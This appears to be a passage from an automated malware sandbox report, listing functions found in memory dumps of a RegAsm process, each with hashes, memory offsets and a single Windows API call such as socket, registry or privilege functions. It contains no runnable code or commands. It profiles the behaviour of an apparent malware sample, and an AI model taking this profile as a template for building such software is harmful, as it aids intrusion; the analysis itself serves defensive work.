Opcode ID: 16831e407f1a199015228aaa134df931ad85c8df84109596a648da6a5ffc8d32
Instruction ID: 226372a8e2ec6d787238a1a9e7636fa7e160e86a5d98ef89f5db37e46fa21bb8
Opcode Fuzzy Hash: 16831e407f1a199015228aaa134df931ad85c8df84109596a648da6a5ffc8d32
Instruction Fuzzy Hash: 8921A4B2405784AFD722CB51CC84F97FBACEF45220F08859BE985DB142D674A508CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45ACEF, Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 1E45AD6A

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 0a747c144acce9b79e7d3c6fac95008109c92d6376fc6653799e3e791deafe46
Instruction ID: d71496e6736a8304b3301f5d156612a3929742bb11388213ac5b6f92a2cbd458
Opcode Fuzzy Hash: 0a747c144acce9b79e7d3c6fac95008109c92d6376fc6653799e3e791deafe46
Instruction Fuzzy Hash: 6621B0B25093805FD7128B25DC95B92BFE8EF42210F0985EBD884CF263D274E808C761

Uniqueness

Uniqueness Score: -1.00%

Function 012D29C2, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 012D2A35

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 7f86da51e5604b509c2eaacdecf2ac5e083b19b6be0bb545a557151234116546
Instruction ID: 2827452d302ea34927a7f9ad3b3615b207a41da2423634ef5eb7816a77291804
Opcode Fuzzy Hash: 7f86da51e5604b509c2eaacdecf2ac5e083b19b6be0bb545a557151234116546
Instruction Fuzzy Hash: AB219271514241EFE721DF29CC45B66FBE8EF04620F18846AEE44DF242E775E504CA62

Uniqueness

Uniqueness Score: -1.00%

Function 012D30CE, Relevance: 1.6, APIs: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D3149

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: 7ba0d74d4de974992e61dc33806ce4d2677c1b376788629039452c7e53fe55d5
Instruction ID: e2da1ddae9f06f1ce4b04d0b8cfa18262821bdce8e37ce8df1692e237cbbf9c1
Opcode Fuzzy Hash: 7ba0d74d4de974992e61dc33806ce4d2677c1b376788629039452c7e53fe55d5
Instruction Fuzzy Hash: C821ACB1100645AFEB21CF65CC81F66FBF8EF44720F08896AEA868B251D770E505CA62

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AA12, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 1E45AA8C

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 2caeba80ecb65893bf51ad04f003726ab5e81a5d25a30031577663ca276a532a
Instruction ID: f57de2d93320fa61971f13d2c0f25ad81d811e8f766e8517c260a89195f46084
Opcode Fuzzy Hash: 2caeba80ecb65893bf51ad04f003726ab5e81a5d25a30031577663ca276a532a
Instruction Fuzzy Hash: 28216771600744AEEB20CF15CD84F66B7ECEF44620F08866AE9468B751E664E948CA72

Uniqueness

Uniqueness Score: -1.00%

Function 012D195A, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D19CC

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 260794d3f4254f5cbf5894463609a09e3732d054a221da251c10df18a7f3f373
Instruction ID: caf6c7881c23d039cfa55ba20ab4c5e0ebfbc71446713cfe013012cc8bb183d3
Opcode Fuzzy Hash: 260794d3f4254f5cbf5894463609a09e3732d054a221da251c10df18a7f3f373
Instruction Fuzzy Hash: 9521AC71610640AFEB20CF55DC81FA6BBECEF44620F18846AEA85DB642D674E404CA72

Uniqueness

Uniqueness Score: -1.00%

Function 012D342E, Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 012D34B2

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: db1caa3ec635d36dc4765cf42f7e6b1f5a4470bf2a9df2955b4bc4551896dede
Instruction ID: 197c780d96d1721c7f487c8f6db9de5d8ebbe0645874d4a7325c26e700f538aa
Opcode Fuzzy Hash: db1caa3ec635d36dc4765cf42f7e6b1f5a4470bf2a9df2955b4bc4551896dede
Instruction Fuzzy Hash: 71218C75409780AFDB22CF65C884A92FFF4FF06310F0984DEE9858B163D275A809DB62

Uniqueness

Uniqueness Score: -1.00%

Function 012D261E, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 012D2689

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 3e25baf75fbeeeb6a01af7b633d53383fae68e6e7b2faf049987f4969ef380bd
Instruction ID: 9a244f2d2b6113cc333c0b0acd13ff4adc815a20bfa651cdc67489ba1553e0ee
Opcode Fuzzy Hash: 3e25baf75fbeeeb6a01af7b633d53383fae68e6e7b2faf049987f4969ef380bd
Instruction Fuzzy Hash: BC21C0B1505341AFE721DF25CC45B6AFBE8EF04620F18846AEE458F282D775E444CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 012D1E63, Relevance: 1.6, APIs: 1, Instructions: 68networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D1EE4

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: d4aaed9ff695b775893a17e1e41ae2594284a28335e5cc2d9ef8c5a9f75753c6
Instruction ID: e1be6d4166daf8914d06b0fe08984330910fc022495a54f1e4ff8069dfdaafa3
Opcode Fuzzy Hash: d4aaed9ff695b775893a17e1e41ae2594284a28335e5cc2d9ef8c5a9f75753c6
Instruction Fuzzy Hash: 3F21D271409784AFEB128B11CC44F96FFB8EF46320F0885DAE9849F193C264A549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B58A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 1E45B5EE

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 452226c605f763a30ed4b6282d5d29ed42b0bb856887524361e9e3f62bd9e42d
Instruction ID: a2f2a29a5dbedeff3cec94176405ebeddae9ac7f26734f5cf9c390d49152c76a
Opcode Fuzzy Hash: 452226c605f763a30ed4b6282d5d29ed42b0bb856887524361e9e3f62bd9e42d
Instruction Fuzzy Hash: E711AC71501645AFEB10CB16DC85F6AB7E8EF84320F18856BE946CB241D6B4E505CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 012D271E, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 012D2792

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 0c057e0421186427384cb6e24dfcba22a0dc547ffc42089d547bc8615bb5e269
Instruction ID: dbadf3df1bc64ed9082958e1a0b8187e6897ad20e680bea24ca1e7f098b98df8
Opcode Fuzzy Hash: 0c057e0421186427384cb6e24dfcba22a0dc547ffc42089d547bc8615bb5e269
Instruction Fuzzy Hash: 4A21C071500240EFE721CF55DC45F6AFBE8EF08324F08845EE9858B691E775E548CB62

Uniqueness

Uniqueness Score: -1.00%

Function 012D2066, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 012D20D2

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 6d30da093f3621ff5154c9910d9d95fd726fb47ff7f5063ebdb96246a05e068a
Instruction ID: 7f2d1e694329d3c28a0a7dee5da85794bed357c439a6186b61fc087927b7a5c7
Opcode Fuzzy Hash: 6d30da093f3621ff5154c9910d9d95fd726fb47ff7f5063ebdb96246a05e068a
Instruction Fuzzy Hash: 9521A171500640EFEB21DF55DC45B5AFBE8EF08320F18846EEA858B292D776E504DB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D39B6, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

FindWindowW.USER32(?,?), ref: 012D3A33

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: d476ad21fc22cf85dbea152aba4fd4f282fcb68d63281dd11b841d88d0127cfc
Instruction ID: 33de8df2c701156037b5a1cbae2b781197766364fd522564aa534cdef9298304
Opcode Fuzzy Hash: d476ad21fc22cf85dbea152aba4fd4f282fcb68d63281dd11b841d88d0127cfc
Instruction Fuzzy Hash: A521C3B55093C05FD712CB25DC45752BFB8FF42210F0D80DAD9848F263D265E809CB62

Uniqueness

Uniqueness Score: -1.00%

Function 012D403C, Relevance: 1.6, APIs: 1, Instructions: 66fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D40AA

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 911364236eae6594c771b3865d8821d55f0fb4e05be6c9a56aa6f973bb437546
Instruction ID: ec7dd6960c05dd08fed0f2cfbf28c16e989fc0f0ba9a1364cdf5257b8c3fc784
Opcode Fuzzy Hash: 911364236eae6594c771b3865d8821d55f0fb4e05be6c9a56aa6f973bb437546
Instruction Fuzzy Hash: F321A5B15093805FD711CF69DC85B93BFE8EF45210F0C84AAE985CB653D275E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D2382, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D23F4

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 18e2c902e4848c0444a511622ed676f1b7d9ac8aca22bc070bb31dc75e371112
Instruction ID: 47dca075e81e8ba522df1f835b713089a03997a19bc088d42bcae46e8e88a7dc
Opcode Fuzzy Hash: 18e2c902e4848c0444a511622ed676f1b7d9ac8aca22bc070bb31dc75e371112
Instruction Fuzzy Hash: AF11AC72500640EEEB21CF15DC81F66FBE8EF44620F18855AEE469A251D6B0E548CA71

Uniqueness

Uniqueness Score: -1.00%

Function 012D2B9A, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D2BF9

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 14ab356deb7cb15eb11f4b169cd60220ad807e6bd7945b0a242710d21870a9f8
Instruction ID: f7d4817b84c7911f7b640802b71f2af1eb4fa590e4fd28644e9ab8d10750cb1b
Opcode Fuzzy Hash: 14ab356deb7cb15eb11f4b169cd60220ad807e6bd7945b0a242710d21870a9f8
Instruction Fuzzy Hash: AB110072100240AFEB21CF54CC41F6BFBE8EF44320F18846AEA468B241D674E444CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B4A2, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 1E45B4FE

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 49f6005f61a564455a9c636634e2f38b0d7b01cf815dccdc61e7c9ba3100c8d6
Instruction ID: 86ac33ffd917230aaa644c27afdada962eec45f31f379edcef7688b6ee0ea343
Opcode Fuzzy Hash: 49f6005f61a564455a9c636634e2f38b0d7b01cf815dccdc61e7c9ba3100c8d6
Instruction Fuzzy Hash: 4F11EF71500244AFEB20CF15DC85F6AFBE8EF84320F18856AE986CF241D6B4E544CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 012D3F80, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D3FE7

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: f7f3af047790ed025badfca4a3a49f734a9b11ad52fae8bd6c7b140a251234fb
Instruction ID: 6976fd737908751abb4c14614c21d8482bdb9aa561224598791be77a219e1252
Opcode Fuzzy Hash: f7f3af047790ed025badfca4a3a49f734a9b11ad52fae8bd6c7b140a251234fb
Instruction Fuzzy Hash: 36117F715083819FDB11CF29DC95B56BFE8EF46221F0984AAED85CB292D674E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D32AE, Relevance: 1.6, APIs: 1, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D3312

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 96ab17fb23e7d54a2bf20bd33f25fbd04d50a506ecb0d1b8d903e1706be48c86
Instruction ID: 36ff65aaf8fd3cd264df7c502fcf4cf274c63231706e87887adf76d7463417da
Opcode Fuzzy Hash: 96ab17fb23e7d54a2bf20bd33f25fbd04d50a506ecb0d1b8d903e1706be48c86
Instruction Fuzzy Hash: F811B2B2401244AEEB21CF55CD85FABF7ECEF44720F18846AEA45DB241DA74E504CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AAFB, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000EB0,?,?), ref: 1E45AB7E

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: 3a7b497902fad7c3b2220d332770725454854dfbdab139d12e0c0d9fc5a1d5de
Instruction ID: 7b31dca8dd2a05bc93175b61276cfb7b359e3e9cf9bac3a535919b3f26f3d0d0
Opcode Fuzzy Hash: 3a7b497902fad7c3b2220d332770725454854dfbdab139d12e0c0d9fc5a1d5de
Instruction Fuzzy Hash: 7A119371545380AFD311CB16DC45B62BFB8FF86620F09819AED484B642D265B915CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A836, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 1E45A8A8

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: d6ad60297550fef4403b2fe256a895f10e59b696841e9aefecff722a99cf73b7
Instruction ID: f6632fcab793ae7ac54d87a3d2348b7a8dcf7bae50c4734796bd53bb060816c7
Opcode Fuzzy Hash: d6ad60297550fef4403b2fe256a895f10e59b696841e9aefecff722a99cf73b7
Instruction Fuzzy Hash: 6C2158714093C0AFD7138B258C94652BFB49F43624F0D84DBDC858F2A3D2696908DB72

Uniqueness

Uniqueness Score: -1.00%

Function 012D2139, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 012D21A8

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 4bd2a540658f4b007694974bd17ea63a79f15450204e853682ea8b2a6d514fb2
Instruction ID: e53c922762cb7ad5c255903ef15e6278c7f1eaeb96074d383b8f6dfb0f207234
Opcode Fuzzy Hash: 4bd2a540658f4b007694974bd17ea63a79f15450204e853682ea8b2a6d514fb2
Instruction Fuzzy Hash: 48218C724083C0AFDB228F65DC54A96FFB4EF46220F1989DAEDC48F163C275A459CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A78B, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1E45A7F6

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 55efa30d079569f23dc193f180e139c2da8094a2e2059327646fb71beaa6e222
Instruction ID: ae4c684ed23b7bc13ce5df9e9895175ebf2fc3d137989c406359f90f412f4860
Opcode Fuzzy Hash: 55efa30d079569f23dc193f180e139c2da8094a2e2059327646fb71beaa6e222
Instruction Fuzzy Hash: 5711A271408380AFDB128F51DC44B62FFF4EF46314F08899AED858B252D275A419DB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D106A, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D10C9

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 7ddfe7241f3057d7708b91ea21ecb98ef5f1ec08c0ae778cde479a217831c03b
Instruction ID: 437583653740e592d1cc5658144f427085332cdd5afc4009628a05f8a2c26d0b
Opcode Fuzzy Hash: 7ddfe7241f3057d7708b91ea21ecb98ef5f1ec08c0ae778cde479a217831c03b
Instruction Fuzzy Hash: 41110171510640AFEB21CF51DC41F6AFBE8EF44320F18886AEE459F241D674E004CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 012D4105, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32(?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D4164

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: 4bbd7f4a8cb4dd220ef6729c954d1913758801d8e2ead10869443bff30ba783f
Instruction ID: 1f3b56f3bb40647b0a2f8f94afdfcd1bce344faeac077673f0c1c7a79f691c25
Opcode Fuzzy Hash: 4bbd7f4a8cb4dd220ef6729c954d1913758801d8e2ead10869443bff30ba783f
Instruction Fuzzy Hash: 1D1182725093809FDB11CF29DC85B57BFE8EF42220F0984AAED85CF652D274E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D1C15, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D1C74

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 964c2e577c8436dff4f53d612d79742362fb63461b32b0bc5a3ed8bb9542697c
Instruction ID: ac46018723681421b7ff3265cfd353453e4db88b5ce6fe4f32cbe7a3b1299148
Opcode Fuzzy Hash: 964c2e577c8436dff4f53d612d79742362fb63461b32b0bc5a3ed8bb9542697c
Instruction Fuzzy Hash: A0118E714093C09FDB128B25DC94B92BFF4EF42220F0984EAED85CF263D275A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D2FF2, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D304B

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: ec6c2259e17486a24f7cd2dbb31e47ddc6abd3c4cbfe8f5cf86af0ca1e4bc9c3
Instruction ID: 1912a564cba0495190b6b266a5f7c6bd7be6bc3f2c8ff27a135ced49a2e8508e
Opcode Fuzzy Hash: ec6c2259e17486a24f7cd2dbb31e47ddc6abd3c4cbfe8f5cf86af0ca1e4bc9c3
Instruction Fuzzy Hash: 6C1102B1400284AFEB21CF15CC85F6AFBECEF44720F18846AEE459F241D6B4A504CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 012D2ACA, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D2B20

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: fed80adc8defa3ab1224ce5fd6f0cb7f6a540b115c6d03a318548068e170b90c
Instruction ID: 2a0ea8efafd1edefb4618db01d44d23ab4fc2b742eb534ab3a9e49c7c7bd3425
Opcode Fuzzy Hash: fed80adc8defa3ab1224ce5fd6f0cb7f6a540b115c6d03a318548068e170b90c
Instruction Fuzzy Hash: B9112571510240EEEB11CF14CC85F6AF7ECEF80320F1884AAED459F241E6B4A504CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 012D0522, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000EB0), ref: 012D058B

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4a9e3d8741297212965f2921ba4c5c42ad586680d57d5505d549a302ed444e68
Instruction ID: eb645f1e8de33d5d6fc8ca6a92a19a52fa4d852a4f7e7e953414a58160c5f229
Opcode Fuzzy Hash: 4a9e3d8741297212965f2921ba4c5c42ad586680d57d5505d549a302ed444e68
Instruction Fuzzy Hash: EC114871500340AEE720CB05DC41F76F7ACEF44720F588099FE459F291D2B5B544CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 012D3392, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D33F1

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 0f7016c28e4c7513e9cf8807c493efb884b7545b5a3177615d0d69e001db85c3
Instruction ID: bb5194e41932cafe825509a428e5c2621c91b58f0d3b5e1aa69cb50850415cfa
Opcode Fuzzy Hash: 0f7016c28e4c7513e9cf8807c493efb884b7545b5a3177615d0d69e001db85c3
Instruction Fuzzy Hash: D711E0B5100640AEEB22CF01DC81F66FBE8EF44720F18C45AEE859A251D675E504CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A078, Relevance: 1.6, APIs: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 1E45A0D5

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 15e49f39b53bf8d852e44176142ba3a72602e6551a21b4b64e055ce6df12eeb1
Instruction ID: 2bc309d4d66838ac7d369b878da090cf9d97de14d9957084aa431866eb9ee496
Opcode Fuzzy Hash: 15e49f39b53bf8d852e44176142ba3a72602e6551a21b4b64e055ce6df12eeb1
Instruction Fuzzy Hash: 32118C71409780AFDB22CF15DC84B52FFB4EF46224F18899AED848F252D275A418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AD22, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

